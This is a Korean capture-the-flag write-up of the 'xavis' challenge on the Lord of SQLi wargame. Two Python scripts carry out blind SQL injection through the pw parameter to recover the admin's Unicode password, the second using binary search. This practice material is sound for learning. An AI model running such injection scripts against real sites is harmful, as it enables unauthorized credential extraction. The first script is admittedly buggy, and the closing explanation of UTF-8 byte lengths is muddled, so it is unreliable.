Grini 2020. 3. 19. 22:45

[xavis] https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php 

다른 문제들과는 다르게 쿼리문의 결과를 두 번으로 나누어 처리한다.

첫 번째 쿼리문의 결과를 이용하여 pw의 길이와 값을 알아낼 수 있다.

하지만 admin의 pw와 입력한 값이 같은지 비교하기 때문에 admin pw를 알아내야 한다.

 

별다른 필터링이 없어 쉽게 pw를 알아낼 수 있을 것 같다.

 

그래서 아래의 코드를 이용하여 pw를 찾아보았다.

 

[ 소스 코드 ]

 

#!/usr/bin/python

import requests

cookies = {'PHPSESSID':'km06aus2loj9joi3vgak9i580i'}
url = 'https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'

length = 1
while True:
	data = "?pw=' or length(pw)=" + str(length) + "%23"
	r = requests.get(url + data, cookies = cookies)
	if r.text.find('Hello admin') != -1:
		break
	length += 1
print ("[*] Get Password Length : ", length)

passwd = ''
for i in range (1, length+1):
	for j in range(1, 127):
		data = "?pw=' or ord(substr(pw," + str(i) + ",1))<" + chr(j) + "%23"
		r = requests.get(url + data, cookies = cookies)
		if r.text.find("Hello admin") != -1:
			passwd += chr(j)
			print ("[+] Finding ... ", passwd)
			break
print ("[*] Get Password : ", passwd)

 

[ 실행 결과 ]

 

글자수도 맞지 않고,,, 잘못된 pw를 찾았다.

 

무엇이 문제일까 고민하다 힌트를 보니 UNICODE 문제였다.

나는 pw를 찾을 때 ASCII CODE만 고려하였기 때문에 pw를 찾지 못한 것이다.

 

UNICODE는 엄청 많기 때문에 다 확인해 보기에는 시간이 너무 오래 걸린다.

따라서, 이진탐색 알고리즘을 이용하여 코드를 구현하였다.

 

[ 소스 코드 ]

 

#!/usr/bin/python

import requests

cookies = {'PHPSESSID':'km06aus2loj9joi3vgak9i580i'}
url = 'https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'

def getPwLength():
	global length
	length = 1
	while True:
		data = "?pw=' or length(pw)=" + str(length) + "%23"
		r = requests.get(url + data, cookies = cookies)
		if r.text.find('Hello admin') != -1:
			print ("[*] Success Get Length : ", length)
			break
		length += 1

def SearchPwValue(start, end, idx):
	pivot = int((start + end)/2)
	if end < start:
		print ("[*] Find Value => [Ord] %5d, [Hex]" % pivot, hex(pivot))
		return pivot

	data = "?pw=' or ord(substr(pw," + str(idx) + ",1))<" + str(pivot) + "%23"
	r = requests.get(url + data, cookies = cookies)
	if r.text.find("Hello admin") != -1: SearchPwValue(start, pivot - 1, idx)
	else: SearchPwValue(pivot + 1, end, idx)

def getPwValue():
	for i in range(1, length + 1):
		SearchPwValue(0, 100000, i)
	print ("[*] Success Get Admin Password")
	
getPwLength()
getPwValue()

 

[ 실행 결과 ]

 

Password UNICODE : 0xc6b0, 0xc655, 0xad73

유니코드 디코더를 이용하여 변환해보면 "우왕굳"이 나온다.

[UNICODE Decoder] https://www.dcode.fr/unicode-coding

 

?pw=우왕굳

알파벳의 경우 UTF-8 인코딩 시 1byte를 차지하지만,

한글의 경우 3byte이지만 4byte로 유니코드의 문자를 표현한다.

따라서, 한글 3글자이지만 패스워드의 길이가 12로 구해진 것 같다.